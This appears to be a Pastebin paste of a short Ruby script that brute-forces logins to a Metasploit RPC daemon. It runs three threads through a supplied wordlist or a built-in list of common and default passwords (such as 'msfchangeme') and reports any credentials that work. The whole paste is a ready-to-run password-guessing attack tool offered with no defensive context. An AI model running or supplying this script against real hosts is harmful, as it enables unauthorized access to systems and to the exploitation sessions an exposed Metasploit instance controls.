Advertisement
Guest User

Untitled

a guest
Jul 5th, 2017
207
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.93 KB | None | 0 0
  1. #!/usr/bin/env ruby
  2. #
  3. # MSF RPC login brute force
  4. #
  5. require 'msfrpc-client'
  6. require 'thread'
  7.  
  8. MAX_THREADS = 3
  9.  
  10. puts 'MSF RPC login brute force'
  11. puts '---'
  12.  
  13. # usage
  14. if ARGV.length < 2
  15. puts "Usage: ./brute-msfrpcd.rb <host> <port> <user> <ssl> [/path/to/wordlist.txt]"
  16. exit 1
  17. end
  18.  
  19. # parse target
  20. @host = ARGV[0] || '127.0.0.1'
  21. @port = ARGV[1] || '55552'
  22. @user = ARGV[2] || 'msf'
  23. @ssl = ARGV[3] || true
  24.  
  25. # parse wordlist
  26. file = ARGV[4]
  27. @wordlist = []
  28. if file.nil?
  29. @wordlist = ['msf', 'password', '1234', '12345', 'msfchangeme', 'abc123', 'test', 'pass123', 'myPassword', 'msfpassword']
  30. puts "* No wordlist specified. Using default list (#{@wordlist.length} words)"
  31. else
  32. f = File.open(file).each_line do |line|
  33. @wordlist << line.chomp!
  34. end
  35. f.close
  36. puts "* Using wordlist '#{file}' (#{@wordlist.length} words)"
  37. end
  38.  
  39. def main
  40. puts "* Starting MSF RPC login brute force for user '#{@user}'"
  41. work_queue = Queue.new
  42. @wordlist.each {|pass| work_queue << pass}
  43. workers = (0...MAX_THREADS).map do
  44. Thread.new do
  45. begin
  46. while pass = work_queue.pop(true)
  47. if login pass
  48. Thread.list.each do |thread|
  49. thread.exit unless thread == Thread.current
  50. end
  51. break
  52. end
  53. end
  54. rescue ThreadError
  55. end
  56. end
  57. end
  58. workers.map(&:join)
  59. end
  60.  
  61. def login pass
  62. puts "* Trying: #{pass}"
  63. begin
  64. rpc = Msf::RPC::Client.new :host => @host,
  65. :port => @port,
  66. :user => @user,
  67. :pass => pass,
  68. :ssl => @ssl
  69. rescue Rex::ConnectionRefused => e
  70. puts '- Error: Connection refused'
  71. exit 1
  72. rescue Msf::RPC::ServerException => e
  73. return false if e.message =~ /Login Failed/
  74. puts "- Error: connection failed: #{e}"
  75. end
  76.  
  77. return false if rpc.token.nil?
  78. puts "+ Login success: '#{@user}' : '#{pass}'"
  79. true
  80. ensure
  81. rpc.close rescue nil
  82. end
  83.  
  84. main
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement